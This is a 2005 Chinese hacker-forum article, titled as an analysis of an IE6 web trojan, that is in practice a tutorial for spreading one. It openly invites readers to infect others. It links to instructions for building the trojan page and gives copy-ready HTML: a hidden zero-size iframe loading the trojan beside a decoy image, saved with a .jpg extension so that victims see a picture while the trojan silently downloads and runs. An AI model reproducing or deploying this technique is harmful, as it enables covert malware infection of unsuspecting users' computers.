分析国内流行的IE6.0最新网页木马 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文	用户登录新用户注册

分析国内流行的IE6.0最新网页木马

热 ★★★

【字体：小大】

分析国内流行的IE6.0最新网页木马

作者：未知文章来源：hack58 点击数：更新时间：2005-12-12

前语：这篇帖子里所写的东西如果大家能够学会，从此网上将又不得安宁！我所希望的仅仅是将来那些受害者不要骂我！
特点：1 针对任何没有打过补丁的IE版本都有效！
2 木马下载过程中防火墙不会做任何反应！
3 木马地址以jpg为后缀名。列如 http://xxx.xxx.xxx.xxx/003.jpg　和一般的图片地址无任何俩样！打开地址后在浏览器上会和正常情况下一样出现图片！但木马却已经在后台下载并在下载完成后自动执行！具有很强的迷惑性！

首先我要给大家说的是以下所讲的东西极其简单，只需要你稍微懂得一点HTML语言，你就能够做出各式各样的网页木马。。。不懂也没关系，，文章里会提供现成的代码让你复制！好了，，废话少说，入正题！

网页木马至今已出了很多代，品种格式各样，目前最新最实用的是针对各种IE版本都有效的网页木马，我们统称它们IE6.0木马，说到这里，我们就进行本文主题的第一部分，制作IE6.0木马，详细步骤及制作工具另附注意事项请参阅这篇贴子
http://www.huigezi.com/forum_view.asp?forum_id=2&view_id=1624
里面有详细的说解！

根据上面贴子里的教材如果你已经成功的制作出了IE6.0网页木马。那么我们继续下一步，修改网页木马的地址的后缀名！

一般来说，我们做出来的网页木马地址都是以 htm 或html 结尾！那么我们怎么修改呢？很简单！
不知道大家知道不知道。IE有一个很小的BUG。即只要网站文件里有html码它就会执行，并不理会文件后缀名是什么。

于是我们可以这么来修改网页木马的后缀名，其实说准确一点并不是修改点网页木马的地址后缀名，是利用一个图片地址来打开这个网页木马！

打开记事本写入如下一段代码：
<html>
<iframe src="IE6。0网页木马地址" width="0" height="0" frameborder="0"></iframe>
<center><img src="图片地址"></center>
</html>
然后将其另存为XXX.jpg 。

剩下的工作就是将这个XXX.jpg图片格式的文件上传的你的空间，给出相对路径让别人访问了！

别人在访问这个XXX.jpg文件时。。浏览器会将文件内的html码执行，根据代码的内容。你的网页木马地址会作为隐藏窗口被打开。。另外那个图片也会出现在对方所打开的网页上！

说到这里。相信大家已经很明白了。再说下去就是浪费大家宝贵的时间！就此打住！祝大家成功制作出自己的木马。

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章：研究UBB的跨站脚本攻击之综合篇

下一篇文章： BBSXP5.15跨站攻击漏洞

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				跟你分析筛选 IPS 之八大定律 IDS技术分析入侵检测系统面技术分析怎样的交换机才最安 Alexa最新统计数据表明搜狐黑客技术分析会话劫持攻击实 Skype补偿方案出炉国内用户祥解DDoS原理分析攻击的趋势江苏研发出国内首款反病毒硬国内恶意软件泛滥又成一项“ 后门技术及rootkit工具－Kna

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM